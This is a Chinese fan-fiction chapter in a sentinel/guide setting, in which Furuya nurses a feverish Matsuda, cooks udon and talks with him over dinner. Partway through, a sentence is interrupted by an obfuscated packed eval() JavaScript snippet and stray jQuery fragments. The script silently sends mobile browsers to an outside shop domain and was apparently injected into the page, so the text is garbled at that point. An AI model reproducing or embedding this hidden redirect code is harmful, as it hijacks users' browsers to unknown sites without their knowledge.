松田一愣,迟钝地伸手摸了摸自己的额头,好像没发现不对:

    “没有吧?感觉还好啊。”

    “那是因为你的手也很热。”降谷无奈地直起身:“体温计在哪里?”

    “电视机下面的柜子里有医药箱。”松田又揉揉眼睛:“难怪我今天这么累……”

    一条毯子“啪”的一声被扔到了松田头上。他挣扎了一会儿,好不容易把自己的脸从织物里露出来。

    刚想抱怨,就有一只手毫不温柔地捏住了他的脸颊,迫使他嘟起嘴巴——然后一支细长冰凉的东西就塞进了他的嘴里。

    松田很快意识到嘴里的是体温计。他不爽地抬眼刚想说点什么,就看到降谷皱眉的表情。

    松田顿了顿,舌头在嘴里动了动,体温计的尾巴也在他嘴唇外面动了动。

    他低头把自己的脸埋进了毯子里,含含糊糊开口了:

    “呃,Zero?你吃了晚饭吗,我打电话叫个外卖?”

    “不用。我买了菜,可以……”说到一半,降谷突然想起来,从超市买的东西还放在车上,没有带上楼。

    他顿了顿,说:“我下楼拿点东西。你给我好好歇着,待会儿我来做饭。”

    松田裹紧了毯子,无声地点点头。

    待降谷转身出门,松田忍不住拔出嘴里的体温计看了一眼。不过一分钟,水银柱还没升上去,根本看不出什么。

    于是他又把这东西塞回了嘴里,摸了摸自己的额头。

    其实松田一开始只是觉得很累,完全没有往自己在发烧的方向去想。昨夜……昨夜他已经清理过自己了不是吗!

    不过一旦被降谷说破,他就发现,身上的难受感觉好像突然就变得明显多了。

    自己关节的酸痛,眼睛和嗓子的干热,还有皮肤异常的敏感……似乎确实是发烧的症状。

    睡了一下午都没觉得有多冷,现在裹着毯子还觉得脊背上一阵阵恶寒。

    回忆了一下,松田想起哨兵和向导结合之后,精神图景剧烈变动,确实是有概率影响到身体状态而导致发烧的。

    只是“有概率”而已!

    松田气鼓鼓地躺了下来,嘴里嘀嘀咕咕:“都怪那家伙……”

    其实早上就有点头晕了,松田没管,总觉得睡一觉就好了……下午疲倦得不行的时候也懒得去拿毯子,就这么躺下了……

    但这不妨碍松田坚信,这就是金毛混蛋的错!

    降谷回来的时候,松田几乎又睡着了。躺在沙发上的人脸色烧得通红,难得显露出伤员的憔悴疲惫的神色。

    他叹口气,轻轻抽出体温计看了一眼,忍不住又深呼吸了一下。

    “多少度?”松田被降谷抽走体温计的动作惊醒,睁开眼,伸手就去拉降谷的胳膊:“应该还好吧?”

    “38.8℃,”降谷被这个不省心的家伙气得不轻,冷冷丢下一句,转身从袋子里拿出退烧贴和退烧药,还有一瓶运动饮料。

    这是他刚刚从楼下的药店买的。松田的医药箱里那些药片看起来已经很久没有动过了,降谷非常怀疑它们已经过期。

    “你的咖喱没了,”降谷转身“啪”地一声把冰凉的退烧贴贴在松田的额头上:“晚餐是乌冬面。”

    松田委屈地蜷缩起来,不说话了。

    降谷看他那个样子,啧了一声。

    他伸出手指,轻触松田的额头,将精神触手探入松田的精神图景。

    精神触手用一种温和而又快速的方式扫过精神图景中的废墟,简单清理了一下异常的感知线,降低他因为发烧而导致的感官混乱。

    松田闭着眼睛不看降谷。但他感到混乱的酸痛感渐渐减弱,皮肤和舌头的异常触感也有所消退。

    片刻,他觉得已经好一些了,抱着毯子哼哼了两声,向后缩了缩脖子,让自己的额头离开了降谷的指尖。

    降谷见他的姿势放松了许多,也就收回手,转身走进了厨房。他将袋子里的一大块牛肉被拿出来放进了冰箱——这不是超市促销的打折牛肉,而是一块没有打折的上好牛肉。

    煮乌冬面是很快的。哪怕是为了给病人吃,特意煮得更软烂的这种,十分钟也能完全胜任了。

    就是这么十来分钟,松田又一次睡着了。降谷将面盛好,放到餐桌上,回身走到沙发前,伸手捏了捏松田的脸:

    “松田?起来吃点东西再睡。”

    “Hagi,别闹……”松田在梦里皱了皱眉,迷迷糊糊地扭头躲开。

    降谷的动作顿了顿。他垂下眼睛,然而还是再次伸手,推了推松田的肩膀:“松田,醒醒,起来吃晚餐。”

    松田茫然睁开眼,东张西望了一下,然后坐起身来。

    他说:“嗯,好香啊。”

    松田得到的乌冬面是病号特供版本。碗里没有太多配料,汤汁几乎是透明的,面条也没有过冷水,软烂得几乎不像是乌冬面。

    松田用筷子夹起面条,一不小心面条就断成了两截。他认命地叹了口气。

    但是味道依然很不错。

    发烧后的哨兵,舌头敏感得不对劲。明明嘴里什么都没有,舌头上却好像覆盖着一层凝固的油脂,泛着异常的苦味。

    而降谷的乌冬面,只有几片煮软的海带和些许葱花点缀,却透出微烫的鲜美滋味,穿透了那层令人恶心的油膜。

    ……松田没敢说,其实他中午就没吃东西,胃里装着的只有早上的三明治。

    他的胃好像也因为发烧而罢工了,一直在缓慢地消化早餐,一整天也没有给出任何饥饿的讯号。

    直到这份病号餐入口,松田终于感到自己的腹部隐隐作痛。他悄悄揉了揉上腹部,才继续吃面。

    降谷也坐了下来。他碗里的东西和松田这一份几乎一模一样,于是松田也没法子发表抱怨。

    松田默默吃了几口,感觉暖意从胃里扩散开来,身上的疼痛似乎也被食物的温度安抚了些许。

    他这才发现,屋子里的空气似乎有点冷清。于是他开口打算聊聊天。

    他倒是有很多想问这个金毛混蛋的事情。但是他又觉得,该知道的东西,这家伙肯定会告诉他的。

    不该知道的……还是别说了。

    他想了想,打算找个轻松的话题:

    “啊,说起来,刚才我梦见Hagi了。”他摸摸脸,露出有点怀念的眼神说:

    “他眼泪汪汪地扑上来,说‘你居然真的和Zero好上了’……”

    降谷没有看松田。他的手指无声地蜷缩了一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741973|209114||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    下,然后若无其事地问:“那你怎么想?”

    有那么一瞬间,他以为,松田是不是后悔了。

    “什么怎么想?”松田吞下一口面条,诧异地回头看了眼降谷,又收回视线,专心用筷子捕捉自己碗里滑溜溜的海带:

    “我当场就揍了他一顿!我说‘谁叫你死了’,哼。”

    降谷的动作顿了顿,然后像掩饰什么一般,捧起碗喝了口汤。

    降谷的面已经快要吃完了。而松田渐渐越吃越慢,到后来几乎就是拿筷子在碗里无意识地搅拌,半天也不往嘴里送。

    降谷抬眼看了一眼他的碗,开口问:“怎么只吃了这么点?不好吃吗?”

    “挺好吃的,”松田的筷子停了停:“不过我没什么胃口……”

    降谷倒也理解,发烧生病确实容易使人胃口不佳。他叹口气,问道:

    “那你有没有别的什么想吃的?”

    “现在刚吃饱,哪还有什么想吃的……Zero,你是什么都会做吗?难道卧底培训科目还包括做饭?会不会太全面了一点……”

    降谷沉默片刻,回答说:“倒也没有。我是在……四个月前,突然很想要尝尝以前的味道,才开始学的。”

    松田愣了愣。

    其实话一说出口降谷就有点后悔。见松田愣住,他心里一下子也不知道是个什么滋味。

    但松田接着就低头看了看自己的面碗,然后又夹了一筷子面送进嘴里嚼了嚼,对降谷比了个大拇指:“那你学得挺不错的。”

    他笑着说:“我入职警视厅后也试着自己做过饭。下回也给你尝尝我的手艺!”

    降谷吃完自己碗里最后一口面条,听见这话,故意瞥了一眼松田,冷笑:“你做的吗?不会毒死我吧?”

    松田“切”了一声,突然反应过来:“金毛混蛋你也太记仇了吧,我早上不就随口说了一句……”

    “吃不下就别吃了。”降谷站起来,将松田的碗筷收走:“你不是很累吗?去躺着吧。”

    松田看看自己的手,已经不知不觉有点发抖了。他瘪瘪嘴:“行,那你多担待。”

    然后他站起来伸了个懒腰,回到沙发上,打开了电视机。

    降谷站在厨房水池前,打开了水龙头。

    电视机的声音跳跃了几次,跳过了几段广告音乐和综艺节目的罐头笑声,最后停留在夜场的棒球比赛上面。

    电视里的解说语速越来越快,一长串解说词带着激动的语气倾泻而出。突然声音一顿,接着就是一阵山呼海啸般的欢呼!

    大概是有人本垒打了。降谷漫不经心地挽起袖子。水流声和电视机的声音混杂在一起,有种奇异的平静。

    他伸手去拿洗洁精,突然感到手腕一凉。低头一看,是一条小黑蛇不知从哪里冒了出来,缠在了他的手腕上。

    降谷低头看小黑蛇,小黑蛇就也抬头看他。深青色的眼睛和松田的眼睛颜色很像,但是圆溜溜的,看上去有点呆。

    这是松田的精神体。

    降谷甩了甩手上的水珠,用另一只手摸了摸小蛇的头。小蛇仰头蹭了蹭他的手指,鲜红的蛇信子在嘴边闪了闪,然后趴在了他的手腕上。

    降谷没有发现,自己的嘴角已经不知不觉翘起来了。